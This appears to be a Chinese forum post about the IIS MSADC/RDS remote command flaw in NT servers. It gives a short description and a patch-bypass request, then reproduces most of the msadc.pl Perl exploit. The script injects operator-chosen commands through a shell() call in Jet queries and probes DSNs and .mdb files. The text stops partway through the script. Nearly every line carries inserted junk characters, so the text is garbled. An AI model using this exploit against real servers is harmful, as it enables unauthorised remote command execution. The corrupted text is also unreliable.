IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
K#r`^aUc =Frr#t!(w0 涉及程序:
y e'5A Microsoft NT server
cDg27xOUi 46~ug5gV 描述:
ty> O}9% 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
YPl{5= 6EY4@0%A 详细:
c&&UT-Z 如果你没有时间读详细内容的话,就删除:
#Gx@\BE{ c:\Program Files\Common Files\System\Msadc\msadcs.dll
X;h~s:LM
有关的安全问题就没有了。
2uVm?nm 4a-wGx#h 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
.Ko`DH~!,C "Q1hP9xV 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
2+PIZ6=hN 关于利用ODBC远程漏洞的描述,请参看:
0P(}e[~Z M_K&x-H0 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm
)f
Rh^6 ?L^ Gu ]y 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
{Hu0 http://www.microsoft.com/security/bulletins/MS99-025faq.asp >pKI' Sf9+TW 这里不再论述。
#x21e }Li K-ebAaiC 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
z61
o6mb $G3P3y:
[ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
h*LIS@&9C5 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
} qTvUs $`%.Y&A RS~oSoAE #将下面这段保存为txt文件,然后: "perl -x 文件名"
@kw=0 T[~X~dqwn" #!perl
[z\*Zg #
:[doYizk: # MSADC/RDS 'usage' (aka exploit) script
o=ex{g( 3 #
k:sh:G+=$d # by rain.forest.puppy
J3=jC5=J4 #
R)/w
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
_EP}el # beta test and find errors!
I$$!YMm.N i+}M#Y-O use Socket; use Getopt::Std;
("Zi,3"+ getopts("e:vd:h:XR", \%args);
-IE;5f#e L6T_&AiL$ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
sZc<h]L(g Y%3j>_\; if (!defined $args{h} && !defined $args{R}) {
D%zIm,bf print qq~
",a
fv{C Usage: msadc.pl -h <host> { -d <delay> -X -v }
PyYe>a;. -h <host> = host you want to scan (ip or domain)
Z_%>yqDC -d <seconds> = delay between calls, default 1 second
H,'c& -X = dump Index Server path table, if available
2.yzR DfZ -v = verbose
*h UrE -e = external dictionary file for step 5
8QU`SoS9 RaAq>B
WPr Or a -R will resume a command session
pS0T>r d=[. ~; exit;}
[eImP
V] \gdd $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
VrpYBU if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
BtspnVBez if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
q6q=,<T%S if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
7 UR)4dYA $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
@:}z\qBM if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
q07>FW R ;RXv%ML if (!defined $args{R}){ $ret = &has_msadc;
]Sh&8 # die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
][3 "xP a.P^+h print "Please type the NT commandline you want to run (cmd /c assumed):\n"
N'4*L=Ut . "cmd /c ";
SLW1]ZaG $in=<STDIN>; chomp $in;
sB $!X@ $command="cmd /c " . $in ;
^-DK<jZ^ 46b.= } if (defined $args{R}) {&load; exit;}
\>+gZc]an =Oy,SX print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
.*ZNZ|g_ &try_btcustmr;
#C|iW@ p?Y1^/
print "\nStep 2: Trying to make our own DSN...";
3'8~H]<W &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
7\.5G4dr% [*Lh4K print "\nStep 3: Trying known DSNs...";
S5j#&i &known_dsn;
h<?Vzl #p^D([k
\ print "\nStep 4: Trying known .mdbs...";
_$r+*nGDz &known_mdb;
d<y
B ~Y fSj^/> if (defined $args{e}){
$lvpBs print "\nStep 5: Trying dictionary of DSN names...";
cng1k
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ST{<G \eN }V print "Sorry Charley...maybe next time?\n";
t JJaIb6Xj exit;
5z0SjQ by-B).7 ##############################################################################
b( wiJ&t ,$*$w< sub sendraw { # ripped and modded from whisker
'E9\V\bi sleep($delay); # it's a DoS on the server! At least on mine...
Q WOd&=: my ($pstr)=@_;
G*ecM`Bl socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
=T[kGg8` die("Socket problems\n");
DwoO([&I if(connect(S,pack "SnA4x8",2,80,$target)){
{&xKSWNc select(S); $|=1;
\2uQ"kJC print $pstr; my @in=<S>;
905
/4z' select(STDOUT); close(S);
Jg@PhN<9 return @in;
ALhu\x>AY } else { die("Can't connect...\n"); }}
;%Qu;FtC S^ 3I" B ##############################################################################
J5429Soo dH8H<K~ sub make_header { # make the HTTP request
9T)-|fja_ my $msadc=<<EOT
}psJ'aiG* POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
.Ir 5gz User-Agent: ACTIVEDATA
=V(I Host: $ip
d>2>mT$U Content-Length: $clen
F;kNc:X`) Connection: Keep-Alive
!iMsTH<
5@?P 8 ADCClientVersion:01.06
%|UCs8EFm Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
leiP/D6s <}G7#xg --!ADM!ROX!YOUR!WORLD!
`w2hJP Content-Type: application/x-varg
ZZ#S\* Content-Length: $reqlen
g^=p)h3 ^dQ#\uy EOT
$P>ci4]t ; $msadc=~s/\n/\r\n/g;
23zB@aE_?1 return $msadc;}
k<m{Wp;- ~h -0rE ##############################################################################
kA fkQy(~ IG
6yt sub make_req { # make the RDS request
q45Hmz my ($switch, $p1, $p2)=@_;
:dK/}S0 my $req=""; my $t1, $t2, $query, $dsn;
4\3Z$%2^LZ |*Hw6m if ($switch==1){ # this is the btcustmr.mdb query
U5odSR$ $query="Select * from Customers where City=" . make_shell();
MC^H N w $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
q'[5h>Pa $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
4&}LYSZl G;MmD?VJ g elsif ($switch==2){ # this is general make table query
]JbGP{UiN $query="create table AZZ (B int, C varchar(10))";
(z\@T`6` $dsn="$p1";}
%+qD-{& "d9"Md0k elsif ($switch==3){ # this is general exploit table query
LJ9^:U $query="select * from AZZ where C=" . make_shell();
XB
zcbS+ $dsn="$p1";}
.cjSgK1 z.--"cF elsif ($switch==4){ # attempt to hork file info from index server
Ov h[qm?Z $query="select path from scope()";
\IIR2Xf,K $dsn="Provider=MSIDXS;";}
I!~5. k68\ _ NUL elsif ($switch==5){ # bad query
-b8Vz}Y $query="select";
ckS.j)@.c $dsn="$p1";}
-m3O\X V^[o{'+ $t1= make_unicode($query);
hIE$u t + $t2= make_unicode($dsn);
oIN!3 $req = "\x02\x00\x03\x00";
\}Z5}~S $req.= "\x08\x00" . pack ("S1", length($t1));
IZ/+RO n $req.= "\x00\x00" . $t1 ;
[td)v, $req.= "\x08\x00" . pack ("S1", length($t2));
-)PQ&[ $req.= "\x00\x00" . $t2 ;
Hz `aj $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
^fa+3`> return $req;}
7E6gXf. x=(Q$Hl5 ##############################################################################
'gI q_t|^ oSq4g{xvMH sub make_shell { # this makes the shell() statement
J4&d6[40 return "'|shell(\"$command\")|'";}
sA[hG*#/S N*y09?/h ##############################################################################
E0[ec6^qwY q,(U 8 sub make_unicode { # quick little function to convert to unicode
v'mRch)d my ($in)=@_; my $out;
BagO0# for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
u1R_u9 return $out;}
x\T 9V~8a jhl9 ##############################################################################
iv*`.9TK- (R5n ND sub rdo_success { # checks for RDO return success (this is kludge)
@m[q0G} my (@in) = @_; my $base=content_start(@in);
kaqH.e( if($in[$base]=~/multipart\/mixed/){
jvv3;lWDL. return 1 if( $in[$base+10]=~/^\x09\x00/ );}
`7[z%cuK return 0;}
yY+)IU. `83s97Sa ##############################################################################
d0vn/k2I ~PAF2 sub make_dsn { # this makes a DSN for us
$dIu${lu my @drives=("c","d","e","f");
>MwjUq print "\nMaking DSN: ";
78T9"CS foreach $drive (@drives) {
lV<2+Is print "$drive: ";
LQ(z~M0B my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Q8OA{EUtq "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
l];w,(u{ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
q$x$ 4 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
,rc?,J1l return 0 if $2 eq "404"; # not found/doesn't exist
o."k7fLB if($2 eq "200") {
84 5a%A$ foreach $line (@results) {
w/&)mm{ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
dNK Q&TC } return 0;}
$R6iG\V5 ++1<A&a ##############################################################################
vkUXMMuf+e 1$mxMXNsJ sub verify_exists {
'Km
~3t my ($page)=@_;
2^RWGCEv my @results=sendraw("GET $page HTTP/1.0\n\n");
Va"H.] return $results[0];}
$De1 4 P&I%!'<
##############################################################################
A@M%}h 4j+FDc` sub try_btcustmr {
])Rs.Y{Q5 my @drives=("c","d","e","f");
VAPRI\uM; my @dirs=("winnt","winnt35","winnt351","win","windows");
`Tw DR6& YD>5zV%!D foreach $dir (@dirs) {
3h N?l
:/b print "$dir -> "; # fun status so you can see progress
Zcst$Aro foreach $drive (@drives) {
=ie8{j2: print "$drive: "; # ditto
mXAGa8##j $reqlen=length( make_req(1,$drive,$dir) ) - 28;
2w"Xv,*.'i $reqlenlen=length( "$reqlen" );
|W $epOLg $clen= 206 + $reqlenlen + $reqlen;
]:H((rk P5;n(E(19 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Q5%$P\ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
::?,ZA else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
I!LSDi3 S=NP}4w,_) ##############################################################################
/L |$*
Xj _%M+!Ltz sub odbc_error {
Em6P6D>S>, my (@in)=@_; my $base;
vl}fC@%WRI my $base = content_start(@in);
gbf2ty if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
,yPs4',d $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Z!#n55| $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
zt,Tda4Y $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%*:X
FB return $in[$base+4].$in[$base+5].$in[$base+6];}
tFj[>_d7 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
iB-h3/ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
<;eXbO>Q $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
;&iZ{ .0ov>4,R ##############################################################################
={'*C7K)oK s0D,n1x sub verbose {
[te9ui%JS my ($in)=@_;
R k'5L return if !$verbose;
F6'[8f print STDOUT "\n$in\n";}
M8Tj;ATr HV0! G-h ##############################################################################
EuH[G_5e0 MawWgd* sub save {
vH[G#A~4 my ($p1, $p2, $p3, $p4)=@_;
s}1S6*Cr open(OUT, ">rds.save") || print "Problem saving parameters...\n";
[B0]%!hFw print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
mE>v (JY close OUT;}
>{/As][ 6I8A[ ##############################################################################
,q_'l?Pn p-CBsm5P sub load {
\}:RG^*m my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
A5WchS' open(IN,"<rds.save") || die("Couldn't open rds.save\n");
-9D2aY_> @p=<IN>; close(IN);
c>~q2_}W( $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
E8gbm&x* $target= inet_aton($ip) || die("inet_aton problems");
uDe%M print "Resuming to $ip ...";
0oC5W?>8s $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
H0dHW;U<1 if($p[1]==1) {
U<|hIv-& $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
KzgW+6*G $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
bh
Nqj my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
f52*s#4} if (rdo_success(@results)){print "Success!\n";}
Ng Jp2ut else { print "failed\n"; verbose(odbc_error(@results));}}
hwD;1n elsif ($p[1]==3){
Gl!fT1zh0 if(run_query("$p[3]")){
'ptD`)^( print "Success!\n";} else { print "failed\n"; }}
T> < Vw elsif ($p[1]==4){
Q85Y6', if(run_query($drvst . "$p[3]")){
[\_#n5 print "Success!\n"; } else { print "failed\n"; }}
b '9L}q2m exit;}
9e aqq n "J+?~9 ##############################################################################
!EwL"4pPw #E'aa'P} sub create_table {
(9!/bX< my ($in)=@_;
%B#(d)T*- $reqlen=length( make_req(2,$in,"") ) - 28;
jsp)e= $reqlenlen=length( "$reqlen" );
7RpAsLH= $clen= 206 + $reqlenlen + $reqlen;
'B"A*!"b my @results=sendraw(make_header() . make_req(2,$in,""));
&x
mYp Q return 1 if rdo_success(@results);
G=VbEL^H my $temp= odbc_error(@results); verbose($temp);
=cP7"\ return 1 if $temp=~/Table 'AZZ' already exists/;
U=Hx&g return 0;}
|Q|vCWel{ K|a^<|
S ##############################################################################
;:`0:Ao.
4tGP-
L sub known_dsn {
5eL_iNqJM # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
G+k~k/D 6 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
1s "/R "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
R3dt-v "banner", "banners", "ads", "ADCDemo", "ADCTest");
Yw!(]8PYdU >}I BPC foreach $dSn (@dsns) {
Ho^rYz print ".";
2a,l;o$2& next if (!is_access("DSN=$dSn"));
USDqh437 if(create_table("DSN=$dSn")){
mh$ Nwr/W: print "$dSn successful\n";
`@tnEg if(run_query("DSN=$dSn")){
>Nho`m( print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
H)5V \ print "Something's borked. Use verbose next time\n";}}} print "\n";}
Q>QES-.l {K,KIj" ##############################################################################
P;8D|u^\* Shag4-*@hi sub is_access {
BKJwM'~ my ($in)=@_;
^_0l(ke $reqlen=length( make_req(5,$in,"") ) - 28;
Cju%CE3a $reqlenlen=length( "$reqlen" );
3W#f
Fy $clen= 206 + $reqlenlen + $reqlen;
",Ge:\TR= my @results=sendraw(make_header() . make_req(5,$in,""));
uG:xd0X+W my $temp= odbc_error(@results);
i0jR~vF
{B verbose($temp); return 1 if ($temp=~/Microsoft Access/);
G&DL)ePu]m return 0;}
\J?l7mG QE\t}> ##############################################################################
dH[T nqJn B098/`r sub run_query {
;*AKeI2 my ($in)=@_;
[W*xPXr* $reqlen=length( make_req(3,$in,"") ) - 28;
%Jb/HWC[ $reqlenlen=length( "$reqlen" );
bAkCk]>5 $clen= 206 + $reqlenlen + $reqlen;
]A#K;AW{U my @results=sendraw(make_header() . make_req(3,$in,""));
+jv&V%IL return 1 if rdo_success(@results);
2<X.kM?N{B my $temp= odbc_error(@results); verbose($temp);
?z/ )Hkw return 0;}
%9HL" $p?TE8G ##############################################################################
C%LXGMt p2)563#RS sub known_mdb {
uB*Y}"Fn my @drives=("c","d","e","f","g");
),%(A~\ my @dirs=("winnt","winnt35","winnt351","win","windows");
-0G/a&ss my $dir, $drive, $mdb;
P)k!#* my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
loR,f&80=O -V\$oVS0S # this is sparse, because I don't know of many
c
0/vB my @sysmdbs=( "\\catroot\\icatalog.mdb",
A])+Pe "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
(;(P3h "\\system32\\certmdb.mdb",
g=q1@ ) "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
&?wNL@n Yg<